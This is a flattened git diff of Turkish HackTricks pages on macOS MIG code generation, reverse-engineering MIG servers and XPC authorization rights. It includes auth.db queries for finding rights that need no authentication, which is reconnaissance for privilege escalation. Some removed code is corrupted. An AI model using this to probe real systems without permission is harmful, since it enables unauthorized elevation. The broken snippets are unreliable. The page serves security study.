* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
MIG, **Mach IPC işlemi oluşturma sürecini basitleştirmek** için oluşturulmuştur. Temelde, sunucu ve istemcinin iletişim kurması için gerekli kodu **belirli bir tanım ile oluşturur**. Oluşturulan kod ne kadar kötü görünürse görünsün, bir geliştirici sadece bunu içe aktarması yeterli olacak ve kodu öncekinden çok daha basit olacaktır. MIG, **Mach IPC işlemi** kod oluşturma sürecini basitleştirmek için oluşturulmuştur. Temelde, sunucu ve istemcinin iletişim kurması için gerekli kodu **belirli bir tanım ile oluşturur**. Oluşturulan kod ne kadar kötü görünürse görünsün, bir geliştirici sadece bunu içe aktarması yeterli olacak ve kodu öncekinden çok daha basit olacaktır.
### Örnek ### Örnek
@ -37,13 +37,13 @@ n2 : uint32_t);
``` ```
{% endcode %} {% endcode %}
Şimdi mig'i kullanarak, birbirleriyle iletişim kurabilecek şekilde sunucu ve istemci kodunu oluşturun ve Çıkarma işlevini çağırmak için birbirleriyle iletişim kurun: Şimdi mig'i kullanarak birbirleriyle iletişim kurabilecek sunucu ve istemci kodunu oluşturmak için Subtract işlevini çağırmak için:
```bash ```bash
mig -header myipcUser.h -sheader myipcServer.h myipc.defs mig -header myipcUser.h -sheader myipcServer.h myipc.defs
``` ```
Çeşitli yeni dosyalar mevcut dizinde oluşturulacaktır. Çeşitli yeni dosyalar mevcut dizinde oluşturulacaktır.
**`myipcServer.c`** ve **`myipcServer.h`** dosyalarında **`SERVERPREFmyipc_subsystem`** yapısının bildirimi ve tanımını bulabilirsiniz, bu yapı temelde alınan mesaj kimliğine göre çağrılacak işlevi tanımlar (başlangıç numarasını 500 olarak belirttik): **`myipcServer.c`** ve **`myipcServer.h`** dosyalarında **`SERVERPREFmyipc_subsystem`** yapısının bildirimi ve tanımını bulabilirsiniz, bu yapı temel olarak alınan mesaj kimliğine göre çağrılacak işlevi tanımlar (başlangıç numarasını 500 olarak belirttik):
{% tabs %} {% tabs %}
{% tab title="myipcServer.c" %} {% tab title="myipcServer.c" %}
@ -64,27 +64,17 @@ myipc_server_routine,
``` ```
{% endtab %} {% endtab %}
{% tab title="myipcServer.h" %} {% tab title="myipcServer.h" %}Dosya: myipcServer.h
### macOS MIG (Mach Interface Generator)
MIG is a tool used to define inter-process communication (IPC) for macOS. It generates client and server-side code for IPC. MIG interfaces are defined in .defs files and are used to define the messages that can be sent between processes.
#### Example .defs file:
```c ```c
routine my_ipc_message { #include <mach/mach.h>
mach_msg_header_t Head; #include <servers/bootstrap.h>
int data; #include "myipcServer.h"
} -> {
mach_msg_header_t Head;
int result;
};
```
In this example, `my_ipc_message` is a routine that sends an integer `data` from the client to the server and receives an integer `result` in response. kern_return_t myipc_server(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP);
```
MIG simplifies the process of defining IPC interfaces and handling messages between processes in macOS. {% endtab %}
```c ```c
/* Description of this subsystem, for use in direct RPC */ /* Description of this subsystem, for use in direct RPC */
extern const struct SERVERPREFmyipc_subsystem { extern const struct SERVERPREFmyipc_subsystem {
@ -205,48 +195,16 @@ mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsy
#include "myipc.h" #include "myipc.h"
int main() { int main() {
mach_port_t bootstrap_port; mach_port_t server_port;
kern_return_t kr = task_get_bootstrap_port(mach_task_self(), &bootstrap_port); kern_return_t kr;
kr = bootstrap_look_up(bootstrap_port, "com.example.myipc", &server_port);
if (kr != KERN_SUCCESS) { if (kr != KERN_SUCCESS) {
printf("Failed to get bootstrap port\n"); printf("Failed to look up server port: %s\n", mach_error_string(kr));
return 1; return 1;
} }
myipc_t myipc = MYIPC_NULL; myipc_client(server_port);
kr = bootstrap_look_up(bootstrap_port, MYIPC_SERVICE_NAME, &myipc);
if (kr != KERN_SUCCESS) {
printf("Failed to look up service %s\n", MYIPC_SERVICE_NAME);
return json_object();
}
myipc_msg_t msg = {
.hdr = {
.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, Mjson_objectACH_MSG_TYPE_MAKE_SEND_ONCE),
.msgh_size = sizeof(myipc_msg_t),
.msgh_remote_port = myipc,
.msgh_local_port = MACH_PORT_NULL,
.msgh_id = 0x41414141
},
.body = {
.msgh_descriptor_count = 1,
.msgh_descriptors = {
{
.name = MACH_MSG_PORT_DESCRIPTOR,
.disposition = MACH_MSG_TYPE_COPY_SEND,
.type = MACH_MSG_PORT_DESCRIPTOR,
.pad1 = 0,
.pad2 = 0,
.port = MACH_PORT_NULL
}
}
}
};
kr = mach_msg(&msg.hdr, MACH_SEND_MSG, msg.hmsg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (kr != KERN_SUCCESS) {
printf("Failed to send message\n");
return 1;
}
return 0; return 0;
} }
@ -279,20 +237,20 @@ USERPREFSubtract(port, 40, 2);
``` ```
### Binary Analizi ### Binary Analizi
Birçok ikili dosya artık mach bağlantı noktalarınıığa çıkarmak için MIG'yi kullandığından, MIG'nin kullanıldığını **tanımanın** ve her mesaj kimliği ile MIG'nin yürüttüğü **işlevleri** bilmek ilginçtir. Birçok ikili dosya artık mach bağlantı noktalarınıığa çıkarmak için MIG kullanıyor, bu nedenle **MIG'nin kullanıldığını belirlemenin** ve her mesaj kimliği ile **MIG'nin yürüttüğü işlevleri** bilmek ilginç olabilir.
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2), bir Mach-O ikili dosyasından MIG bilgilerini ayrıştırabilir ve mesaj kimliğini göstererek yürütülecek işlevi tanımlayabilir: [**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2), bir Mach-O ikili dosyasından MIG bilgilerini ayrıştırabilir ve mesaj kimliğini göstererek yürütülecek işlevi belirleyebilir:
```bash ```bash
jtool2 -d __DATA.__const myipc_server | grep MIG jtool2 -d __DATA.__const myipc_server | grep MIG
``` ```
Önceki bölümde, **alınan mesaj kimliğine bağlı olarak doğru işlevi çağıracak olan fonksiyonun** `myipc_server` olduğu belirtilmişti. Ancak genellikle ikili dosyanın sembolleri olmayacaktır (işlev adları yok), bu yüzden **nasıl decompile edildiğine bakmak ilginç olacaktır** çünkü her zaman çok benzer olacaktır (bu işlevin kodu, sunulan işlevlerden bağımsızdır): Daha önce, **alınan mesaj kimliğine bağlı olarak doğru işlevi çağıracak olan fonksiyonun** `myipc_server` olduğu belirtilmişti. Ancak genellikle ikili dosyanın sembolleri olmayacaktır (işlev adları yok), bu yüzden **nasıl decompile edildiğine bakmak ilginç olacaktır** çünkü her zaman çok benzer olacaktır (bu işlevin kodu, sunulan işlevlerden bağımsızdır):
{% tabs %} {% tabs %}
{% tab title="myipc_server decompiled 1" %} {% tab title="myipc_server decompiled 1" %}
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) { <pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
var_10 = arg0; var_10 = arg0;
var_18 = arg1; var_18 = arg1;
// Doğru işlev işaretçilerini bulmak için ilk talimatlar // Uygun işlev işaretçilerini bulmak için ilk talimatlar
*(int32_t *)var_18 = *(int32_t *)var_10 &#x26; 0x1f; *(int32_t *)var_18 = *(int32_t *)var_10 &#x26; 0x1f;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8); *(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24; *(int32_t *)(var_18 + 0x4) = 0x24;
@ -301,13 +259,13 @@ var_18 = arg1;
*(int32_t *)(var_18 + 0x10) = 0x0; *(int32_t *)(var_18 + 0x10) = 0x0;
if (*(int32_t *)(var_10 + 0x14) &#x3C;= 0x1f4 &#x26;&#x26; *(int32_t *)(var_10 + 0x14) >= 0x1f4) { if (*(int32_t *)(var_10 + 0x14) &#x3C;= 0x1f4 &#x26;&#x26; *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
rax = *(int32_t *)(var_10 + 0x14); rax = *(int32_t *)(var_10 + 0x14);
// Bu işlevi tanımlamaya yardımcı olabilecek sign_extend_64 çağrısı // Çağrılacak işlevi tanımlamaya yardımcı olabilecek sign_extend_64 çağrısı
// Bu, çağrılması gereken işlevin işaretçisini rax'a depolar // Bu, çağrılması gereken işlevin işaretçisini rax'a depolar
// Kullanılan adres 0x100004040'ı kontrol edin (işlev adresleri dizisi) // Kullanılan adres 0x100004040'ı kontrol edin (işlevlerin adresleri dizisi)
// 0x1f4 = 500 (başlangıç ID'si) // 0x1f4 = 500 (başlangıç ID'si)
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040); <strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
</strong> var_20 = rax; </strong> var_20 = rax;
// If - else, if döndürmezken else doğru işlevi çağırır ve true döndürür // If - else, if yanıtı yanlış döndürürken else doğru işlevi çağırır ve doğru döndürür
<strong> if (rax == 0x0) { <strong> if (rax == 0x0) {
</strong> *(var_18 + 0x18) = **_NDR_record; </strong> *(var_18 + 0x18) = **_NDR_record;
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1; *(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
@ -331,7 +289,7 @@ return rax;
{% endtab %} {% endtab %}
{% tab title="myipc_server decompiled 2" %} {% tab title="myipc_server decompiled 2" %}
Bu, farklı bir Hopper ücretsiz sürümünde decompile edilmiş aynı işlevdir: Bu, farklı bir Hopper free sürümünde decompile edilmiş aynı işlevdir:
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) { <pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
r31 = r31 - 0x40; r31 = r31 - 0x40;
@ -339,7 +297,7 @@ saved_fp = r29;
stack[-8] = r30; stack[-8] = r30;
var_10 = arg0; var_10 = arg0;
var_18 = arg1; var_18 = arg1;
// Doğru işlev işaretçilerini bulmak için ilk talimatlar // Uygun işlev işaretçilerini bulmak için ilk talimatlar
*(int32_t *)var_18 = *(int32_t *)var_10 &#x26; 0x1f | 0x0; *(int32_t *)var_18 = *(int32_t *)var_10 &#x26; 0x1f | 0x0;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8); *(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24; *(int32_t *)(var_18 + 0x4) = 0x24;
@ -375,7 +333,7 @@ r8 = 0x1;
} }
} }
// Önceki sürümdeki gibi aynı if else // Önceki sürümdeki gibi aynı if else
// Kullanılan adres 0x100004040 (işlev adresleri dizisi) kontrol edilir // Kullanılan adres 0x100004040 (işlevlerin adresleri dizisi) kontrol edilir
<strong> if ((r8 &#x26; 0x1) == 0x0) { <strong> if ((r8 &#x26; 0x1) == 0x0) {
</strong><strong> *(var_18 + 0x18) = **0x100004000; </strong><strong> *(var_18 + 0x18) = **0x100004000;
</strong> *(int32_t *)(var_18 + 0x20) = 0xfffffed1; </strong> *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
@ -406,24 +364,22 @@ return r0;
{% endtab %} {% endtab %}
{% endtabs %} {% endtabs %}
Aslında, **`0x100004000`** işlevine giderseniz, **`routine_descriptor`** yapılarının dizisini bulacaksınız. Yapının ilk öğesi, **işlevin uygulandığı adres** ve **yapının 0x28 bayt** alacağıdır, bu nedenle her 0x28 baytta (bayt 0'dan başlayarak) 8 bayt alabilir ve bu, **çağrılacak işlevin adresi** olacaktır: Aslında, **`0x100004000`** işlevine giderseniz, **`routine_descriptor`** yapılarının dizisini bulacaksınız. Yapının ilk öğesi, **işlevin uygulandığı adres** ve **yapının 0x28 bayt aldığını** göz önünde bulundurarak, her 0x28 baytta (bayt 0'dan başlayarak) 8 bayt alabilir ve bu, **çağrılacak işlevin adresi** olacaktır:
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Bu veriler, [**bu Hopper betiği kullanılarak**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) çıkarılabilir. Bu veriler, [**bu Hopper betiği kullanılarak**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) çıkarılabilir.
<details> <details>
<summary><strong>Sıfırdan başlayarak AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary> <summary><strong>Sıfırdan başlayarak AWS hacklemeyi</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile öğrenin!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Discord grubuna** 💬 [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin**. * **Discord grubuna** 💬 [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) **ve** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına katkıda bulunun**. * **Hacking püf noktalarınızı göndererek PR'ler gönderin** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına.**
</details>

View file

@ -2,23 +2,23 @@
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary> <summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizin HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi**]'ni (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'in (https://opensea.io/collection/the-peass-family) bulunduğu koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
## XPC Yetkilendirme ## XPC Yetkilendirme
Apple, bağlanan işlemin **bir XPC yöntemini çağırmak için izinlere sahip olup olmadığını doğrulamanın** başka bir yolunu da önerir. Apple, bağlanan işlemin **bir XPC yöntemini çağırmaya izin** **olup olmadığını doğrulamanın** başka bir yolunu da önerir.
Bir uygulamanın **yetkili bir kullanıcı olarak işlemler gerçekleştirmesi gerektiğinde**, genellikle uygulamayı yetkili bir kullanıcı olarak çalıştırmak yerine, bu işlemleri gerçekleştirmek için uygulamadan çağrılabilen bir XPC hizmeti olarak HelperTool'u kök olarak yükler. Ancak, hizmeti çağıran uygulamanın yeterli yetkilendirmeye sahip olması gerekir. Bir uygulamanın **yetkili bir kullanıcı olarak işlemler gerçekleştirmesi gerektiğinde**, genellikle uygulamayı yetkili bir kullanıcı olarak çalıştırmak yerine, bu işlemleri gerçekleştirmek için çağrılabilecek bir XPC hizmeti olarak HelperTool'u kök olarak yükler. Ancak, hizmeti çağıran uygulamanın yeterli yetkilendirmeye sahip olması gerekir.
### ShouldAcceptNewConnection her zaman YES ### ShouldAcceptNewConnection her zaman YES
@ -106,7 +106,7 @@ assert(blockErr == errAuthorizationSuccess);
}]; }];
} }
``` ```
`enumerateRightsUsingBlock` işlevi, `commandInfo` içinde tanımlanan uygulama izinlerini almak için kullanılan işlevdir: `enumerateRightsUsingBlock` işlevi, `commandInfo` içinde tanımlanan uygulama izinlerini almak için kullanılan işlevidir:
```objectivec ```objectivec
static NSString * kCommandKeyAuthRightName = @"authRightName"; static NSString * kCommandKeyAuthRightName = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault"; static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
@ -186,13 +186,13 @@ block(authRightName, authRightDefault, authRightDesc);
``` ```
Bu, işlem sonunda `commandInfo` içinde belirtilen izinlerin `/var/db/auth.db` içinde saklanacağı anlamına gelir. **Her bir yöntem için** bulabileceğiniz şeylere dikkat edin ki **kimlik doğrulaması gerektirecek**, **izin adı** ve **`kCommandKeyAuthRightDefault`**. Sonuncusu **bu hakkı kimin alabileceğini belirtir**. Bu, işlem sonunda `commandInfo` içinde belirtilen izinlerin `/var/db/auth.db` içinde saklanacağı anlamına gelir. **Her bir yöntem için** bulabileceğiniz şeylere dikkat edin ki **kimlik doğrulaması gerektirecek**, **izin adı** ve **`kCommandKeyAuthRightDefault`**. Sonuncusu **bu hakkı kimin alabileceğini belirtir**.
Bir hakkı kimin erişebileceğini belirtmek için farklı kapsamlar vardır. Bazıları [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) içinde tanımlanmıştır (hepsini [burada bulabilirsiniz](https://www.dssw.co.uk/reference/authorization-rights/)), ancak özetle: Bir hakkı kimin erişebileceğini belirtmek için farklı kapsamlar vardır. Bunlardan bazıları [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) içinde tanımlanmıştır (hepsini [burada bulabilirsiniz](https://www.dssw.co.uk/reference/authorization-rights/)), ancak özetle:
<table><thead><tr><th width="284.3333333333333">Ad</th><th width="165">Değer</th><th>ıklama</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Herkes</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Hiç kimse</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>Mevcut kullanıcının bir yönetici olması gerekiyor (yönetici grubu içinde)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Kullanıcıdan kimlik doğrulaması iste</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Kullanıcıdan kimlik doğrulaması iste. Yönetici olması gerekiyor (yönetici grubu içinde)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Kuralları belirt</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Haklar hakkında ekstra yorumlar belirt</td></tr></tbody></table> <table><thead><tr><th width="284.3333333333333">Ad</th><th width="165">Değer</th><th>ıklama</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Herkes</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Hiç kimse</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>Mevcut kullanıcının bir yönetici olması gerekiyor (yönetici grubu içinde)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Kullanıcıdan kimlik doğrulaması iste</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Kullanıcıdan kimlik doğrulaması iste. Yönetici olması gerekiyor (yönetici grubu içinde)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Kuralları belirt</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Hakka ek açıklamalar belirt</td></tr></tbody></table>
### Haklar Doğrulaması ### Hak Doğrulama
`HelperTool/HelperTool.m` içindeki **`readLicenseKeyAuthorization`** fonksiyonu, **bu tür bir yöntemi** yürütmeye yetkili olup olmadığını kontrol ederken **`checkAuthorization`** fonksiyonunu çağıranın yetkilendirilip yetkilendirilmediğini kontrol eder. Bu işlev, çağıran işlem tarafından gönderilen **authData**'nın **doğru biçimde** olup olmadığını kontrol edecek ve ardından belirli bir yöntemi çağırmak için **gerekenin ne olduğunu** kontrol edecektir. Her şey yolunda giderse, **döndürülen `error` `nil` olacaktır**: `HelperTool/HelperTool.m` içinde **`readLicenseKeyAuthorization`** fonksiyonu, **bu tür bir yöntemi** yürütmeye yetkili olup olmadığını kontrol ederken **`checkAuthorization`** fonksiyonunu çağıranın yetkilendirilip yetkilendirilmediğini kontrol eder. Bu işlev, çağıran işlem tarafından gönderilen **authData**'nın **doğru biçimde** olup olmadığını kontrol edecek ve ardından belirli bir yöntemi çağırmak için **gerekenin ne olduğunu** kontrol edecektir. Her şey yolunda giderse, **döndürülen `error` `nil` olacaktır**:
```objectivec ```objectivec
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command - (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{ {
@ -240,19 +240,19 @@ assert(junk == errAuthorizationSuccess);
return error; return error;
} }
``` ```
Not edin ki, o yöntemi çağırmak için gereksinimleri kontrol etmek için `authorizationRightForCommand` işlevi sadece önceden yorumlanmış nesne **`commandInfo`**'yu kontrol edecektir. Daha sonra, işlevi çağırmak için **`AuthorizationCopyRights`**'ı çağıracaktır (bayrakların kullanıcıyla etkileşime izin verdiğine dikkat edin). Not edin ki, o yöntemi çağırmak için gereksinimleri kontrol etmek için `authorizationRightForCommand` işlevi sadece önceden yorumlanmış nesne `commandInfo`'yu kontrol edecektir. Daha sonra, işlevi çağırmak için hakları olup olmadığını kontrol etmek için `AuthorizationCopyRights` çağrılacaktır (bayrakların kullanıcıyla etkileşime izin verdiğine dikkat edin).
Bu durumda, `readLicenseKeyAuthorization` işlevini çağırmak için `kCommandKeyAuthRightDefault`'ın `@kAuthorizationRuleClassAllow` olarak tanımlandığı belirtilmiştir. Bu yüzden **herkes onu** çağırabilir. Bu durumda, `readLicenseKeyAuthorization` işlevini çağırmak için `kCommandKeyAuthRightDefault` `@kAuthorizationRuleClassAllow` olarak tanımlanmıştır. Bu yüzden **herkes onu çağırabilir**.
### DB Bilgisi ### DB Bilgisi
Bu bilginin `/var/db/auth.db` içinde depolandığı belirtilmiştir. Tüm depolanan kuralları listeleyebilirsiniz: Bu bilginin `/var/db/auth.db` içinde depolandığı belirtildi. Tüm depolanan kuralları listeleyebilirsiniz:
```sql ```sql
sudo sqlite3 /var/db/auth.db sudo sqlite3 /var/db/auth.db
SELECT name FROM rules; SELECT name FROM rules;
SELECT name FROM rules WHERE name LIKE '%safari%'; SELECT name FROM rules WHERE name LIKE '%safari%';
``` ```
Ardından, kimin erişim hakkına sahip olduğunu okuyabilirsiniz: Ardından, kimin erişim hakkına sahip olduğunu şu şekilde okuyabilirsiniz:
```bash ```bash
security authorizationdb read com.apple.safaridriver.allow security authorizationdb read com.apple.safaridriver.allow
``` ```
@ -262,13 +262,13 @@ security authorizationdb read com.apple.safaridriver.allow
1. **'authenticate-user': 'false'** 1. **'authenticate-user': 'false'**
* Bu en doğrudan anahtardır. `false` olarak ayarlandığında, bir kullanıcının bu hakkı elde etmek için kimlik doğrulaması sağlaması gerekmez. * Bu en doğrudan anahtardır. `false` olarak ayarlandığında, bir kullanıcının bu hakkı elde etmek için kimlik doğrulaması sağlaması gerekmez.
* Bu, kullanıcının ait olması gereken bir grupla birlikte veya aşağıdaki 2 seçenekten biriyle **kullanılır**. * Bu, kullanıcının ait olması gereken bir grupla birlikte veya aşağıdaki 2 seçenekten biriyle birlikte kullanılır.
2. **'allow-root': 'true'** 2. **'allow-root': 'true'**
* Bir kullanıcı kök kullanıcı olarak çalışıyorsa (yükseltilmiş izinlere sahip), ve bu anahtar `true` olarak ayarlanmışsa, kök kullanıcı muhtemelen bu hakkı ek kimlik doğrulaması olmadan elde edebilir. Ancak genellikle, kök kullanıcı durumuna ulaşmak zaten kimlik doğrulama gerektirir, bu nedenle çoğu kullanıcı için bu bir "kimlik doğrulama olmadan" senaryosu değildir. * Bir kullanıcı kök kullanıcı olarak çalışıyorsa (yükseltilmiş izinlere sahip), ve bu anahtar `true` olarak ayarlanmışsa, kök kullanıcı bu hakkı muhtemelen daha fazla kimlik doğrulaması olmadan elde edebilir. Ancak genellikle, kök kullanıcı durumuna ulaşmak zaten kimlik doğrulama gerektirir, bu nedenle çoğu kullanıcı için bu bir "kimlik doğrulama olmadan" senaryosu değildir.
3. **'session-owner': 'true'** 3. **'session-owner': 'true'**
* `true` olarak ayarlandığında, oturumun sahibi (şu anda oturum açmış olan kullanıcı) bu hakkı otomatik olarak alacaktır. Bu, kullanıcının zaten oturum açmışsa ek kimlik doğrulamayı atlayabilir. * `true` olarak ayarlandığında, oturumun sahibi (şu anda oturum açık olan kullanıcı) bu hakkı otomatik olarak alır. Bu, kullanıcının zaten oturum açmışsa ek kimlik doğrulamayı atlayabilir.
4. **'shared': 'true'** 4. **'shared': 'true'**
* Bu anahtar kimlik doğrulamasız haklar vermez. Bunun yerine, `true` olarak ayarlanırsa, hak doğrulandıktan sonra, her birinin yeniden kimlik doğrulamasına gerek duymadan birden fazla işlem arasında paylaşılabileceği anlamına gelir. Ancak hak ilk olarak kimlik doğrulaması gerektirecektir, başka anahtarlarla birleştirilmediği sürece, örneğin `'authenticate-user': 'false'`. * Bu anahtar kimlik doğrulamasız haklar vermez. Bunun yerine, `true` olarak ayarlanırsa, hak doğrulandıktan sonra, her birinin yeniden kimlik doğrulaması yapmadan birden fazla işlem arasında paylaşılabileceği anlamına gelir. Ancak hak ilk olarak kimlik doğrulaması gerektirecektir, başka anahtarlarla birleştirilmediği sürece, örneğin `'authenticate-user': 'false'`.
```bash ```bash
Rights with 'authenticate-user': 'false': Rights with 'authenticate-user': 'false':
